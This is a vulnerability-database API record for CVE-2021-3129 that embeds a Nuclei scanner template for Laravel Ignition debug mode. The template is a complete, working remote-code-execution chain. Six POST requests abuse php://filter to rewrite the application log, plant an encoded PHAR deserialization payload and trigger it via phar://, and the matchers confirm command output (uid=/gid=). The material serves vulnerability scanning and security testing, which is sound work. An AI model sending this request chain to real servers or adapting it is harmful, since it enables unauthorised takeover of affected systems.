{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-3129/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-3129/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-3129/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-3129/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-3129/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-3129"},"sightings":{"href":"/api/v1/sightings/cve-2021-3129"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-3129.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2021-3129\n\ninfo:\n  name: Laravel with Ignition <= v8.4.2 Debug Mode - Remote Code Execution\n  author: z3bd,pdteam\n  severity: critical\n  description: Laravel version 8.4.2 and before with Ignition before 2.5.2 allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel before 8.4.2.\n  impact: |\n    Successful exploitation of this vulnerability can lead to remote code execution, potentially allowing an attacker to take control of the affected system.\n  remediation: |\n    Upgrade Laravel to version 8.4.3 or higher to mitigate this vulnerability.\n  reference:\n    - https://www.ambionics.io/blog/laravel-debug-rce\n    - https://github.com/vulhub/vulhub/tree/master/laravel/CVE-2021-3129\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-3129\n    - https://github.com/facade/ignition/pull/334\n    - https://github.com/d4n-sec/d4n-sec.github.io\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-3129\n    epss-score: 0.99943\n    epss-percentile: 0.99972\n    cpe: cpe:2.3:a:facade:ignition:*:*:*:*:*:laravel:*:*\n  metadata:\n    max-request: 6\n    vendor: facade\n    product: ignition\n    framework: laravel\n  tags: cve2021,cve,laravel,rce,vulhub,kev,facade,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /_ignition/execute-solution HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json\n        Content-Type: application/json\n\n        {\"solution\": \"Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution\", \"parameters\": {\"variableName\": \"cve20213129\", \"viewFile\": \"php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log\"}}\n      - |\n        POST /_ignition/execute-solution HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json\n        Content-Type: application/json\n\n        {\"solution\": \"Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution\", \"parameters\": {\"variableName\": \"cve20213129\", \"viewFile\": \"php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log\"}}\n      - |\n        POST /_ignition/execute-solution HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json\n        Content-Type: application/json\n\n        {\"solution\": \"Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution\", \"parameters\": {\"variableName\": \"cve20213129\", \"viewFile\": \"AA\"}}\n      - |\n        POST /_ignition/execute-solution HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json\n        Content-Type: application/json\n\n        {\"solution\": \"Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution\", \"parameters\": {\"variableName\": \"cve20213129\", \"viewFile\": \"=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=4C=00=41=00=51=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=7A=00=41=00=41=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=45=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=56=00=6D=00=46=00=73=00=61=00=57=00=52=00=68=00=64=00=47=00=6C=00=76=00=62=00=6C=00=78=00=57=00=59=00=57=00=78=00=70=00=5A=00=47=00=46=00=30=00=62=00=33=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=6D=00=56=00=34=00=64=00=47=00=56=00=75=00=63=00=32=00=6C=00=76=00=62=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=54=00=70=00=37=00=63=00=7A=00=6F=00=77=00=4F=00=69=00=49=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=6A=00=6F=00=69=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=33=00=4D=00=36=00=4D=00=6A=00=6F=00=69=00=61=00=57=00=51=00=69=00=4F=00=33=00=30=00=46=00=41=00=41=00=41=00=41=00=5A=00=48=00=56=00=74=00=62=00=58=00=6B=00=45=00=41=00=41=00=41=00=41=00=58=00=73=00=7A=00=6F=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=58=00=73=00=7A=00=6F=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=7A=00=64=00=47=00=56=00=7A=00=64=00=48=00=52=00=6C=00=63=00=33=00=51=00=63=00=4A=00=39=00=59=00=36=00=5A=00=6B=00=50=00=61=00=39=00=61=00=45=00=49=00=51=00=49=00=45=00=47=00=30=00=6B=00=4A=00=2B=00=39=00=4A=00=50=00=6B=00=4C=00=67=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a\"}}\n      - |\n        POST /_ignition/execute-solution HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json\n        Content-Type: application/json\n\n        {\"solution\": \"Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution\", \"parameters\": {\"variableName\": \"cve20213129\", \"viewFile\": \"php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log\"}}\n      - |\n        POST /_ignition/execute-solution HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json\n        Content-Type: application/json\n\n        {\"solution\": \"Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution\", \"parameters\": {\"variableName\": \"cve20213129\", \"viewFile\": \"phar://../storage/logs/laravel.log/test.txt\"}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"uid=\"\n          - \"gid=\"\n          - \"groups=\"\n          - \"Illuminate\"\n        condition: and\n\n      - type: status\n        status:\n          - 500\n\n    extractors:\n      - type: regex\n        regex:\n          - \"(u|g)id=.*\"\n# digest: 490a0046304402202eab297a4230c89897a13279c07760ce9f992bfae09204eb0b774c0f2334494202204b36991561612cf8aec576aa0e529c54ab2e9cb6e97208b8f960a264e18257d2:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2021-3129"}